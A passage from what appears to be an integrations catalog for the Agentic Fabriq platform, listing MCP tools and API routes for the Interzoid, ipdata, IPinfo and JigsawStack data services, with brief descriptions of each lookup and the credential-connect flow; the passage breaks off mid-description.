key: interzoid. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. interzoid_get_addressparse (read) — Parse a full address string into its component parts: street number, street name, unit, city, state, zip code. GET /api/v1/interzoid/addressparse. Scopes: api. interzoid_get_emailtrustscore (read) — Get an email trust score and analysis for an email address. Validates deliverability, identifies disposable/temporary addresses, and provides risk assessment with a numeric trust score from 0-99. GET /api/v1/interzoid/emailtrustscore. Scopes: api. interzoid_get_getaddressandfullnamematch (read) — Generate a single combined AI-powered similarity key from a full name plus address. Records with the same combined key share both a similar address and a similar individual name. Useful for high-precision household/contact-level deduplication. GET /api/v1/interzoid/getaddressandfullnamematch. Scopes: api. interzoid_get_getaddressmatchadvanced (read) — Generate an advanced AI-powered similarity key for US street address matching with enhanced algorithm accuracy. Uses deeper AI models for more precise matching of complex address variations including unit numbers, directionals, and abbreviations. GET /api/v1/interzoid/getaddressmatchadvanced. Scopes: api. interzoid_get_getbuildingprofile (read) — Retrieve a commercial building profile for any US property address including building class, year built, total rentable square footage, floor count, primary tenants, property management, ownership entity, recent renovations, parking ratio, and transit access. GET /api/v1/interzoid/getbuildingprofile. Scopes: api. interzoid_get_getbusinessinfo (read) — Retrieve comprehensive AI-powered business intelligence for a company including industry classification, revenue data, employee counts, contact information, and more. GET /api/v1/interzoid/getbusinessinfo. Scopes: api. interzoid_get_getbusinessinfoname (read) — Return the standard, official company name for a business anywhere in the world. Resolves abbreviations, informal names, brand names, ticker symbols, and misspellings to the canonical registered corporate name, for use in record standardization, matching, and deduplication. GET /api/v1/interzoid/getbusinessinfoname. Scopes: api. interzoid_get_getbuyingsignals (read) — Identify recent buying signals for a target company including funding events, leadership changes, expansion announcements, hiring trends, and other intent signals useful for sales targeting. GET /api/v1/interzoid/getbuyingsignals. Scopes: api. interzoid_get_getcitystandard (read) — Standardize city name data to a consistent canonical form. Handles abbreviations, alternate spellings, and local variations. GET /api/v1/interzoid/getcitystandard. Scopes: api. interzoid_get_getcompanyandaddressmatch (read) — Generate a single combined AI-powered similarity key from a company/organization name plus a street address. Records with the same combined key likely share both a similar company name and address. Ideal for business-location deduplication across vendor, supplier, and account datasets. GET /api/v1/interzoid/getcompanyandaddressmatch. Scopes: api. interzoid_get_getcompanyandfullnamematch (read) — Generate a single combined AI-powered similarity key from a company/organization name plus an individual's full name. Records with the same combined key likely share both a similar company and a similar person. Ideal for contact-level deduplication within CRM, marketing, and sales datasets. GET /api/v1/interzoid/getcompanyandfullnamematch. Scopes: api. interzoid_get_getcompanymatchadvanced (read) — Generate an advanced AI-powered similarity key for company/organization name matching with enhanced algorithm accuracy. Uses deeper AI models for more precise matching of complex corporate name variations. GET /api/v1/interzoid/getcompanymatchadvanced. Scopes: api. interzoid_get_getcompanyverification (read) — Verify whether a company or organization exists and retrieve a verification score from 0-99 with detailed AI-generated reasoning reflecting legitimacy and credibility. GET /api/v1/interzoid/getcompanyverification. Scopes: api. interzoid_get_getcompetitoranalysis (read) — Identify and analyze a company's primary competitors with detailed comparison information including market positioning, products, and competitive advantages. GET /api/v1/interzoid/getcompetitoranalysis. Scopes: api. interzoid_get_getcountryinfo (read) — Standardize a country name and return additional country information including ISO codes, currency details, internet code, and international calling code. GET /api/v1/interzoid/getcountryinfo. Scopes: api. interzoid_get_getcountrystandard (read) — Standardize a country name to a consistent spelling. Handles variations like 'Great Britain', 'UK', 'United Kingdom', 'Britain' and normalizes to a canonical form. GET /api/v1/interzoid/getcountrystandard. Scopes: api. interzoid_get_getcustomsdutyrates (read) — Retrieve import customs duty rates for any HS code entering any country — with MFN applied rates, preferential FTA rates, import VAT/GST, additional duties (anti-dumping, safeguard, excise), de minimis thresholds, and non-tariff restrictions. GET /api/v1/interzoid/getcustomsdutyrates. Scopes: api. interzoid_get_getemaildomaintype (read) — Classify the domain behind an email address as Business, Government, Education, Generic, Disposable, or Unknown. Provides instant organizational context for lead scoring, trial qualification, CRM enrichment, sales routing, and fraud prevention. GET /api/v1/interzoid/getemaildomaintype. Scopes: api. interzoid_get_getentitytype (read) — Determine the entity type of a data value - whether it represents a person name, company/organization, location, or other entity type. GET /api/v1/interzoid/getentitytype. Scopes: api. interzoid_get_getesgprofile (read) — Retrieve an ESG (Environmental, Social, Governance) and sustainability profile for a company including key initiatives, ratings, controversies, and reporting frameworks. GET /api/v1/interzoid/getesgprofile. Scopes: api. interzoid_get_geteuvatrates (read) — Retrieve current VAT rates for any European country (EU-27, EEA, UK, Switzerland, non-EU Europe) with category-driven breakdown of standard, reduced, super-reduced, zero-rated, and exempt categories plus registration thresholds and territorial exceptions. GET /api/v1/interzoid/geteuvatrates. Scopes: api. interzoid_get_getexecutiveprofile (read) — Retrieve executive profile information for a company, including leadership details, roles, and professional background. GET /api/v1/interzoid/getexecutiveprofile. Scopes: api. interzoid_get_getfacilitiesprofile (read) — Retrieve a profile of a company's corporate facilities including headquarters, regional offices, manufacturing sites, data centers, and other key locations. GET /api/v1/interzoid/getfacilitiesprofile. Scopes: api. interzoid_get_getfullnamematch (read) — Generate an AI-powered similarity key for individual/person name matching. Handles variations like 'Bob Smith', 'Robert Smith', 'Smith, Robert J.' producing the same key for matching and deduplication. GET /api/v1/interzoid/getfullnamematch. Scopes: api. interzoid_get_getfullnamematchscore (read) — Compare two individual/person names and receive a match score from 0-100 indicating how similar they are. Handles name order, nicknames, and abbreviations. GET /api/v1/interzoid/getfullnamematchscore. Scopes: api. interzoid_get_getgender (read) — Determine the likely gender associated with an individual name. Supports international names and provides a confidence indicator. GET /api/v1/interzoid/getgender. Scopes: api. interzoid_get_getglobaladdressmatch (read) — Generate an AI-powered similarity key for global/international address matching. Handles international address formats and variations across countries. GET /api/v1/interzoid/getglobaladdressmatch. Scopes: api. interzoid_get_getglobalweather (read) — Get current weather information for any city worldwide including temperature, conditions, humidity, wind, and atmospheric data. GET /api/v1/interzoid/getglobalweather. Scopes: api. interzoid_get_getgovcontracts (read) — Retrieve US government contract information for a company including active contracts, agencies, contract values, and award history. GET /api/v1/interzoid/getgovcontracts. Scopes: api. interzoid_get_getindustrycodes (read) — Identify and categorize a company's primary industry classification with standardized NAICS and SIC codes, sector and subsector details, business activity description, and a confidence score. GET /api/v1/interzoid/getindustrycodes. Scopes: api. interzoid_get_getipprofile (read) — Get comprehensive profile information for an IP address including geolocation, ISP, organization, connection type, CIDR block, and reputation assessment. GET /api/v1/interzoid/getipprofile. Scopes: api. interzoid_get_getirsperdiemrates (read) — Retrieve current IRS high-low method per diem rates for any US location to support accountable-plan travel reimbursement (Revenue Procedure 2019-48). Classifies each location as High-Cost or Low-Cost with separate lodging and meals-and-incidentals (M&IE) components. GET /api/v1/interzoid/getirsperdiemrates. Scopes: api. interzoid_get_getmuniissuerprofile (read) — Retrieve a research profile on any US municipal securities issuer (state, city, county, school district, transit/water/sewer authority, hospital district, public university, etc.) including issuer type, credit standing, typical security types, outstanding debt, notable events, pension/OPEB exposure, revenue sources, and EMMA reference link. GET /api/v1/interzoid/getmuniissuerprofile. Scopes: api. interzoid_get_getnameorigin (read) — Determine the likely cultural or geographic origin of an individual name. Useful for demographic analysis and internationalization efforts. GET /api/v1/interzoid/getnameorigin. Scopes: api. interzoid_get_getnearestcoffeeshops (read) — Find nearest coffee shops to a given address or location including names, addresses, distances, and basic details. GET /api/v1/interzoid/getnearestcoffeeshops. Scopes: api. interzoid_get_getorgmatchscore (read) — Compare two organization/company names and receive a match score from 0-100 indicating how similar they are. Useful for determining if two company names refer to the same entity. GET /api/v1/interzoid/getorgmatchscore. Scopes: api. interzoid_get_getorgstandard (read) — Standardize an organization name to a consistent, canonical representation. Normalizes abbreviations, suffixes, and formatting (e.g. 'b.o.a.' -> 'Bank of America'). GET /api/v1/interzoid/getorgstandard. Scopes: api. interzoid_get_getparentcompanyinfo (read) — Retrieve comprehensive parent company information for a given company or subsidiary. Identifies corporate ownership hierarchies, parent organizations, and holding company relationships with detailed context. GET /api/v1/interzoid/getparentcompanyinfo. Scopes: api. interzoid_get_getphoneprofile (read) — Get profile information for a phone number including carrier, line type (mobile/landline/VOIP), geographic location, validation status, and risk assessment. GET /api/v1/interzoid/getphoneprofile. Scopes: api. interzoid_get_getprivatecompanydealintel (read) — Retrieve private company deal intelligence including funding rounds, valuations, investors, M&A activity, and ownership changes. GET /api/v1/interzoid/getprivatecompanydealintel. Scopes: api. interzoid_get_getproductmatch (read) — Generate an AI-powered similarity key for product name matching. Handles variations in product names, model numbers, and descriptions to identify the same product across datasets. GET /api/v1/interzoid/getproductmatch. Scopes: api. interzoid_get_getproductrecallinfo (read) — Retrieve product recall information for a given product, brand, or category including recall date, hazard description, remedy, and regulatory authority. GET /api/v1/interzoid/getproductrecallinfo. Scopes: api. interzoid_get_getpropertyhistory (read) — Retrieve property transaction history for any US address including last sale date and price, prior transactions over up to ten years, price-per-square-foot trajectory, ownership chain, recorded deed types, mortgage history, and current owner of record. GET /api/v1/interzoid/getpropertyhistory. Scopes: api. interzoid_get_getrecentnews (read) — Retrieve recent news and developments for a company or topic. AI-powered aggregation from multiple real-time sources. GET /api/v1/interzoid/getrecentnews. Scopes: api. interzoid_get_getremainingcredits (read) — Report the number of API credits remaining on this connection's Interzoid license key. Returns a Code and a Credits count for the single per-key balance every other tool draws down; this call does not itself spend a credit. GET /api/v1/interzoid/getremainingcredits. Scopes: api. interzoid_get_getsalesusetaxrates (read) — Retrieve current US sales and use tax rates for any address, ZIP code, city, or state — fully decomposed into state, county, city, and special district components plus the combined effective rate. Submit a full street address for the most accurate rate assignment. GET /api/v1/interzoid/getsalesusetaxrates. Scopes: api. interzoid_get_getstateabbreviation (read) — Standardize US state and province name data to a consistent full name plus abbreviation. Handles variations like 'Calif', 'CA', 'Cal', 'California'. GET /api/v1/interzoid/getstateabbreviation. Scopes: api. interzoid_get_getstockinfo (read) — Get AI-powered stock analysis for a given ticker symbol including price metrics, financial health indicators, and analyst sentiment. GET /api/v1/interzoid/getstockinfo. Scopes: api. interzoid_get_gettechstack (read) — Identify the complete technology stack used by a company or website from a domain lookup, including CMS, frontend frameworks, backend technologies, web server, hosting provider, CDN, analytics, security technologies, and e-commerce platform. GET /api/v1/interzoid/gettechstack. Scopes: api. interzoid_get_getuniversityinfo (read) — Retrieve detailed information about a university or college including location, type, enrollment, accreditation, notable programs, and key statistics. GET /api/v1/interzoid/getuniversityinfo. Scopes: api. interzoid_get_getuserxhandle (read) — Retrieve the X (formerly Twitter) handle for a given person, organization, sports team, government entity, or descriptive phrase using AI-powered lookup. Returns the handle with a confidence score. GET /api/v1/interzoid/getuserxhandle. Scopes: api. interzoid_get_getxlast3 (read) — Retrieve the three most recent posts (tweets) from a given X (Twitter) handle, including the full text content and date of each post. GET /api/v1/interzoid/getxlast3. Scopes: api. interzoid_get_getxuserprofile (read) — Retrieve a comprehensive profile snapshot for an X (Twitter) handle including display name, bio description, follower and following counts, total post count, website URL, location, and account creation date. GET /api/v1/interzoid/getxuserprofile. Scopes: api. interzoid_get_getzipcodeinfo (read) — Get detailed information for a US ZIP code including city, state, county, timezone, area codes, and geographic coordinates. GET /api/v1/interzoid/getzipcodeinfo. Scopes: api. interzoid_get_globallatency (read) — Measure real-world page load performance (response time) for any URL from a chosen global location. Returns total load time in seconds, HTTP response status, a phase-by-phase timing breakdown (DNS, TCP connect, TLS handshake, time-to-first-byte, content transfer), and a content preview. Useful for global latency monitoring, CDN validation, and uptime/performance checks from multiple geographic origins. GET /api/v1/interzoid/globallatency. Scopes: api. interzoid_get_identifylanguage (read) — Identify the language of a given text string. Supports detection of numerous world languages from text samples. GET /api/v1/interzoid/identifylanguage. Scopes: api. interzoid_get_translatetoany (read) — Detect the language of input text and translate it to any specified target language. AI-powered translation supporting numerous world languages. GET /api/v1/interzoid/translatetoany. Scopes: api. interzoid_get_translatetoenglish (read) — Detect the language of input text and translate it to English. Supports numerous world languages with AI-powered translation. GET /api/v1/interzoid/translatetoenglish. Scopes: api. ================================================================================ ## ipdata URL: https://www.agenticfabriq.com/integrations/ipdata Section: Integrated Tools ipdata — 3 MCP tools Provider key: ipdata. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. ipdata_get_by_asn (lookup) — Retrieve the Autonomous System record for an AS number, e.g. AS15169: the organisation's name and domain, the usage type (hosting, isp, edu, business, gov, military or unknown) and the IPv4 and IPv6 prefixes it announces. Pass the number WITH its AS prefix. An unknown AS number is answered 404 'ASBlah was not found.'. The fields filter does not apply to this endpoint -- ipdata returns the whole ASN record regardless (measured). ASN data is not included on every plan; a plan that does not carry it is answered 403. GET /api/v1/ipdata/asn/{asn}. Scopes: api. ipdata_get_by_ip (lookup) — Geolocate a single IPv4 or IPv6 address and return what ipdata knows about it: city, region, country, continent, latitude and longitude, postal code, calling code and flag; the time zone, currency and languages of that location; the Autonomous System and company behind the address; the mobile carrier where there is one; and the threat intelligence block (Tor, proxy, VPN, known attacker or abuser, blocklists). Narrow the answer with `fields`, a comma-separated list of top-level field names. A private or reserved address is refused by ipdata with a 400 naming it, and so is anything that is not an address. Which fields are populated depends on the account's plan rather than on this request. GET /api/v1/ipdata/ip/{ip}. Scopes: api. ipdata_post_bulk (lookup) — Geolocate up to 100 IP addresses in one call and get back an array of the same records the single lookup returns, in the order sent. PAID PLANS ONLY: a free account is answered 403 'Upgrade to a paid plan to make bulk requests.'. EACH ADDRESS COUNTS AS A REQUEST against the account's quota, so one full call spends 100 of them. More than 100 addresses is refused with 400; so is a body that is not a JSON array. POST /api/v1/ipdata/bulk. Scopes: api. ================================================================================ ## IPinfo URL: https://www.agenticfabriq.com/integrations/ipinfo Section: Integrated Tools IPinfo — 48 MCP tools Provider key: ipinfo. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. ipinfo_get (read) — Returns IP information about the current IP via GET /. GET /api/v1/ipinfo/. Scopes: api. ipinfo_get_asby_asn (read) — Returns information about an ASN via GET /AS{asn}. Returns information about an ASN, such as the assigned prefixes, related domain, and more. The ASN API provides comprehensive information about an Autonomous System (AS) entity. It delivers data on the AS's registration, ASN type, network details, associated prefixes (including IPv6), and relationships with other ASNs (peers, upstreams and downstreams). GET /api/v1/ipinfo/AS{asn}. Scopes: api. ipinfo_get_by_ip (read) — Returns information about the provided IP via GET /{ip}. The ipinfo.io/{ip} endpoint provides comprehensive information about a specified IP address, including geographic location (city, region, country), coordinates, postal code, and timezone. Based on the pricing tier, it also provides ASN (Autonomous System Number) details, associated company information, privacy settings (e.g., VPN, proxy usage), abuse contact information, and hosted domains associated with the IP. This endpoint is useful for applications needing detailed IP intelligence, such as identifying geographic origin, privacy status, and potential abuse reporting information. GET /api/v1/ipinfo/{ip}. Scopes: api. ipinfo_get_by_ip_abuse (read) — Returns data containing information belonging to the abuse contact of the IP address via GET /{ip}/abuse. The IP to abuse contact information API endpoint provides detailed information about the abuse contact associated with a specific IP address. The response includes the abuse contact's name, email address, postal address, city, state, country, phone number, and the network associated with the IP. GET /api/v1/ipinfo/{ip}/abuse. Scopes: api. ipinfo_get_by_ip_carrier (read) — Detects if the IP address is being used in a mobile carrier network. It returns the Mobile Country Code (MCC), Mobile Network Code (MNC), and the originating country of the carrier via GET /{ip}/carrier. Detects if the IP address is being used in a mobile carrier network. This API endpoint can be used to detect the usage of a phone device through an IP address. It returns the Mobile Country Code (MCC), Mobile Network Code (MNC), and the originating country of the carrier. GET /api/v1/ipinfo/{ip}/carrier. Scopes: api. ipinfo_get_by_ip_city (read) — Returns a city for the selected IP via GET /{ip}/city. GET /api/v1/ipinfo/{ip}/city. Scopes: api. ipinfo_get_by_ip_company (read) — Returns information about the company that operates or is assigned the IP address via GET /{ip}/company. Returns information of the organization that is operating an IP address such as name, organization type and their official domain. GET /api/v1/ipinfo/{ip}/company. Scopes: api. ipinfo_get_by_ip_country (read) — Returns a country for the selected IP via GET /{ip}/country. Returns a country for the selected IP in two letter ISO-3166 format. If the country is not available, it will return an empty string. GET /api/v1/ipinfo/{ip}/country. Scopes: api. ipinfo_get_by_ip_hostname (read) — Returns a hostname for the selected IP via GET /{ip}/hostname. GET /api/v1/ipinfo/{ip}/hostname. Scopes: api. ipinfo_get_by_ip_ip (read) — Returns a ip for the selected IP via GET /{ip}/ip. GET /api/v1/ipinfo/{ip}/ip. Scopes: api. ipinfo_get_by_ip_loc (read) — Get a location for the selected IP via GET /{ip}/loc. The '/loc' API endpoint provides the geographic location of an IP address as latitude and longitude separated by a comma in text form. GET /api/v1/ipinfo/{ip}/loc. Scopes: api. ipinfo_get_by_ip_org (read) — Returns a organization for the selected IP via GET /{ip}/org. The '/org' API endpoint provides the ASN and organization related to the user's input IP address. It returns a string including the ASN (prefixed by 'AS') and AS organization name. GET /api/v1/ipinfo/{ip}/org. Scopes: api. ipinfo_get_by_ip_postal (read) — Returns a postal for the selected IP via GET /{ip}/postal. The `/postal` API lets users input an IP address to get back the corresponding postal or zip code in a simple string format. GET /api/v1/ipinfo/{ip}/postal. Scopes: api. ipinfo_get_by_ip_privacy (read) — Returns privacy information about the selected IP via GET /{ip}/privacy. The IP to Privacy Detection or Anonymous IP API provides privacy-related information about a specified IP address. This includes whether the IP is associated with a VPN, proxy, Tor network, relay service, or a hosting service/data center (indicative of bots). The response details the privacy status of the IP, indicating any anonymizing services in use and specifies the type of service (e.g., NordVPN, TunnelBear, Mullvad, ProtonVPN, CyberGhost, ExpressVPN, Surfshark etc.). GET /api/v1/ipinfo/{ip}/privacy. Scopes: api. ipinfo_get_by_ip_privacy_extended (read) — Returns extended privacy detection information with detailed methodologies via GET /{ip}/privacy_extended. The Privacy Detection Extended API provides detection methodology metadata to support risk scoring, confidence metrics, and IP reputation aspects. Uses multi-modal detection methods including internet measurement, IP behavior analysis, and internet records metadata. Includes detailed flags for VPN, proxy, Tor, relay, hosting, and service identification with confidence metrics. GET /api/v1/ipinfo/{ip}/privacy_extended. Scopes: api. ipinfo_get_by_ip_region (read) — Returns a region for the selected IP via GET /{ip}/region. Returns a region for the selected IP. If the region is not available, it will return an empty string. GET /api/v1/ipinfo/{ip}/region. Scopes: api. ipinfo_get_by_ip_timezone (read) — Returns a timezone for the selected IP via GET /{ip}/timezone. The `/timezone` API endpoint returns the IANA timezone based on the user's input IP address. GET /api/v1/ipinfo/{ip}/timezone. Scopes: api. ipinfo_get_city (read) — Returns the current city via GET /city. GET /api/v1/ipinfo/city. Scopes: api. ipinfo_get_country (read) — Returns the current country via GET /country. Returns a concise response consisting of a two-letter country code. If the country is not available, it will return an empty string. GET /api/v1/ipinfo/country. Scopes: api. ipinfo_get_domains_by_ip (read) — Returns a list of all of the domains hosted on the provided IP address via GET /domains/{ip}. The Hosted Domains or Reverse IP API endpoint returns a list of domains hosted on a specified IP address, including the total number of domains and the specific names associated with that address. GET /api/v1/ipinfo/domains/{ip}. Scopes: api. ipinfo_get_hostname (read) — Returns the current hostname via GET /hostname. GET /api/v1/ipinfo/hostname. Scopes: api. ipinfo_get_ip (read) — Returns the current IP via GET /ip. Returns the current public/external IP address. GET /api/v1/ipinfo/ip. Scopes: api. ipinfo_get_lite_by_ip (read) — Returns lightweight IP information about the provided IP via GET /lite/{ip}. Returns lightweight IP information about the provided IP including ASN details, country, and continent information. For bogon/private IPs, returns a response with bogon: true. GET /api/v1/ipinfo/lite/{ip}. Scopes: api. ipinfo_get_lite_by_ip_by_field (read) — Returns a specific field from lightweight IP information about the provided IP via GET /lite/{ip}/{field}. GET /api/v1/ipinfo/lite/{ip}/{field}. Scopes: api. ipinfo_get_lite_me (read) — Returns lightweight IP information about the current IP via GET /lite/me. Returns lightweight IP information about the current IP including ASN details, country, and continent information. GET /api/v1/ipinfo/lite/me. Scopes: api. ipinfo_get_lite_me_by_field (read) — Returns a specific field from lightweight IP information about the current IP via GET /lite/me/{field}. GET /api/v1/ipinfo/lite/me/{field}. Scopes: api. ipinfo_get_loc (read) — Returns the current location via GET /loc. The '/loc' API endpoint provides the geographical location of a user's IP address in a response with latitude and longitude in comma-separated text format. GET /api/v1/ipinfo/loc. Scopes: api. ipinfo_get_lookup_by_ip (read) — Returns IP information about the provided IP via GET /lookup/{ip}. Returns IP information about the provided IP. This single endpoint is shared across the Core, Plus, and Max tiers — the response shape (`CoreResponse`, `PlusResponse`, or `MaxResponse`) depends on the plan associated with your API token. There are no separate `/plus/*` or `/max/*` endpoints. GET /api/v1/ipinfo/lookup/{ip}. Scopes: api. ipinfo_get_lookup_by_ip_by_field (read) — Returns a specific field from IP information about the provided IP via GET /lookup/{ip}/{field}. Returns a specific field from IP information about the provided IP. Available fields depend on the plan associated with your API token — see the `field` parameter for the full set across Core, Plus, and Max. GET /api/v1/ipinfo/lookup/{ip}/{field}. Scopes: api. ipinfo_get_lookup_me (read) — Returns Core API IP information about the current IP via GET /lookup/me. Returns IP information about the current IP. This single endpoint is shared across the Core, Plus, and Max tiers — the response shape (`CoreResponse`, `PlusResponse`, or `MaxResponse`) depends on the plan associated with your API token. There are no separate `/plus/*` or `/max/*` endpoints. GET /api/v1/ipinfo/lookup/me. Scopes: api. ipinfo_get_lookup_me_by_field (read) — Returns a specific field from IP information about the current IP via GET /lookup/me/{field}. Returns a specific field from IP information about the current IP. Available fields depend on the plan associated with your API token — see the `field` parameter for the full set across Core, Plus, and Max. GET /api/v1/ipinfo/lookup/me/{field}. Scopes: api. ipinfo_get_me (read) — Returns API service request limit by access token via GET /me. The `/me` API endpoint can be used to provide summary information on the access token limits, access to API products, and other related information. The `/me` endpoint can be used in verifying access tokens as well. GET /api/v1/ipinfo/me. Scopes: api. ipinfo_get_org (read) — Returns the current ASN and AS organization via GET /org. The '/org' API endpoint identifies the Autonomous System Number (ASN) and ASN organization associated with the user's IP address. When called, the API returns a string with the ASN (prefixed by 'AS') and organization name. GET /api/v1/ipinfo/org. Scopes: api. ipinfo_get_places_by_ip (read) — Returns building-level place information for the provided IP via GET /places/{ip}. Returns the real-world location associated with an IP address at the building level, including hotels, airports, museums, stadiums, and 30+ other categories. Includes venue name, category, SSID, and coordinates. GET /api/v1/ipinfo/places/{ip}. Scopes: api. ipinfo_get_postal (read) — Returns the current postal code or zip code via GET /postal. The `/postal` API endpoint provides a straightforward method for retrieving the current postal code or zip code. When this endpoint is queried, the API responds with a simple string indicating the postal code for the current IP address. GET /api/v1/ipinfo/postal. Scopes: api. ipinfo_get_ranges_by_domain (read) — Returns information about a domain ranges via GET /ranges/{domain}. The IP address ranges API endpoint provides information about IP address ranges assigned to or operated by a specific organization, identified by its domain name. This includes the number of IP ranges, specific IP range blocks (both IPv4 and IPv6), and any domain redirection information. GET /api/v1/ipinfo/ranges/{domain}. Scopes: api. ipinfo_get_region (read) — Returns the current region via GET /region. Returns the current region. If the region is not available, it will return an empty string. GET /api/v1/ipinfo/region. Scopes: api. ipinfo_get_resproxy_by_ip (read) — Returns residential proxy detection information for the selected IP via GET /resproxy/{ip}. The Residential Proxy Detection API provides detailed insights into IP addresses associated with residential, mobile, or datacenter proxy networks. This includes activity patterns (last seen date, percentage of days active), and proxy service identification. Services are suffixed with `_mobile` for carrier/mobile proxies or `_datacenter` for datacenter proxies. GET /api/v1/ipinfo/resproxy/{ip}. Scopes: api. ipinfo_get_timezone (read) — Returns the current timezone via GET /timezone. The '/timezone' API endpoint returns the user's timezone based on their IP address in IANA format. GET /api/v1/ipinfo/timezone. Scopes: api. ipinfo_get_whois_net_asby_asn (read) — Returns the WHOIS information by WHOIS ASN via GET /whois/net/AS{asn}. The IPinfo WHOIS API lookup via ASN provides in-depth WHOIS information associated with a specific Autonomous System Number (ASN). Querying ASN reveals critical data, including the organization's name, the allocated IP range, and the country of operation. The response includes administrative and technical contact information, highlighting the contact person along with their address and phone number. Additionally, the API provides details for abuse reporting, including a dedicated email for abuse contacts. This comprehensive dataset is essential for network administrators, security professionals, and organizations needing to investigate ASN ownership and maintain network integrity. GET /api/v1/ipinfo/whois/net/AS{asn}. Scopes: api. ipinfo_get_whois_net_by_domain (read) — Returns the WHOIS information by WHOIS domain of an internet organization via GET /whois/net/{domain}. The IPinfo WHOIS API lookup via organization organization domain name provides comprehensive WHOIS information for specified organization, enabling users to gain insights into the registration and organizational details of internet entities. The response includes a total count of records, and detailed records for each associated IP range. Querying the organization domain reveals critical information such as the organization's name, country, and contact details for technical and administrative personnel, including names, emails, and physical addresses. Additionally, the response features abuse contact information and registration dates, which are essential for addressing network issues and potential abuse. GET /api/v1/ipinfo/whois/net/domain/{domain}. Scopes: api. ipinfo_get_whois_net_by_whoisip (read) — Returns the WHOIS information by WHOIS IP address or IP address range via GET /whois/net/{whoisip}. The WHOIS API lookup via IP address provides WHOIS information based on a specific IP address or IP address range. The response contains detailed information about the organization associated with the IP, including the range of addresses, organization name, administrative contacts, abuse contacts, and additional metadata such as the country and contact details for both technical and administrative support. GET /api/v1/ipinfo/whois/net/ip/{whoisip}. Scopes: api. ipinfo_get_whois_net_by_whoisnetid (read) — Returns the WHOIS information by Net ID lookup via GET /whois/net/{whoisnetid}. This API endpoint allows users to retrieve WHOIS information based on a specified Net ID. The response includes details such as the IP address range, organization name, country, and various administrative information related to the network. GET /api/v1/ipinfo/whois/net/netid/{whoisnetid}. Scopes: api. ipinfo_get_whois_org_by_whoisorgid (read) — Returns the WHOIS information by WHOIS organization (ORG) ID of an internet organization via GET /whois/org/{whoisorgid}. The IPinfo WHOIS API lookup via organization IDs (Org) provides comprehensive information about a specific internet organization identified by its WHOIS organization ID. Querying a WHOIS org key returns data about the internet organization. The response includes critical details such as the organization's address, along with the contact information for various roles within the organization. This includes administrative, technical, and abuse contacts. The API also offers timestamps for when the organization was created and last updated, which is essential for maintaining accurate records. GET /api/v1/ipinfo/whois/org/{whoisorgid}. Scopes: api. ipinfo_get_whois_poc_by_whoispoc (read) — Returns the WHOIS information by WHOIS Point of Contact (POC) value of an internet organization via GET /whois/poc/{whoispoc}. The IPinfo WHOIS API lookup via Points of Contact (POC) provides essential details about an individual associated with an internet organization identified by their WHOIS POC ID. For instance, querying the POC ID yields information about the name of the point of contact and their organization location. The response includes the organization's physical address, email address, and contact numbers. Additional metadata indicates when the record was created and last updated, alongside the source of the information. GET /api/v1/ipinfo/whois/poc/{whoispoc}. Scopes: api. ipinfo_post_batch (write) — Bulk IPinfo API enrichment via POST /batch. Bulk or batch enrich IP addresses with IP information. See [documentation](https://ipinfo.io/developers/batch-enrichment-api). POST /api/v1/ipinfo/batch. Scopes: api. ipinfo_post_tools_map (write) — Highlight IP addresses on a map via POST /tools/map. Visualize upto 500,000 IP addresses on an interactive map. [Explore the IPinfo Map IPs tool](https://ipinfo.io/tools/map). POST /api/v1/ipinfo/tools/map. Scopes: api. ipinfo_post_tools_summarize_ips (write) — Summarize IP addresses via POST /tools/summarize-ips. Get summary-level information of upto 500,000 IP addresses, including IP location on a map, IP types, privacy detection flags, top ASNs, top cities, and more. [Explore the IPinfo Summarize tool](https://ipinfo.io/tools/summarize-ips). POST /api/v1/ipinfo/tools/summarize-ips. Scopes: api. ================================================================================ ## JigsawStack URL: https://www.agenticfabriq.com/integrations/jigsawstack Section: Integrated Tools JigsawStack — 32 MCP tools Provider key: jigsawstack. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. jigsawstack_delete_ai_tts_clone_by_voice_id (write, destructive) — Remove a cloned voice from the account by its voice id. JigsawStack publishes no reference page for its text-to-speech routes, so this description is written from the route rather than quoted from one; the route itself is live and takes no body. DELETE /api/v1/jigsawstack/ai/tts/clone/{voice_id}. Scopes: api. jigsawstack_delete_prompt_engine_by_id (write, destructive) — Delete a prompt engine. DELETE /api/v1/jigsawstack/prompt_engine/{id}. Scopes: api. jigsawstack_delete_store_file_read_by_key (write, destructive) — Delete a file from JigsawStack file storage. DELETE /api/v1/jigsawstack/store/file/read/{key}. Scopes: api. jigsawstack_get_ai_sentiment (read) — Perform line by line sentiment analysis on any text with detailed emotion detection. This is the query-string form of the same operation POST /ai/sentiment performs with a JSON body. GET /api/v1/jigsawstack/ai/sentiment. Scopes: api. jigsawstack_get_ai_tts_clone (read) — List the cloned voices on the account. JigsawStack publishes no reference page for its text-to-speech routes, so this description is written from the route rather than quoted from one. Note the measured quirk on this route: it is the only GET on the API that requires a Content-Type header, and this integration sends 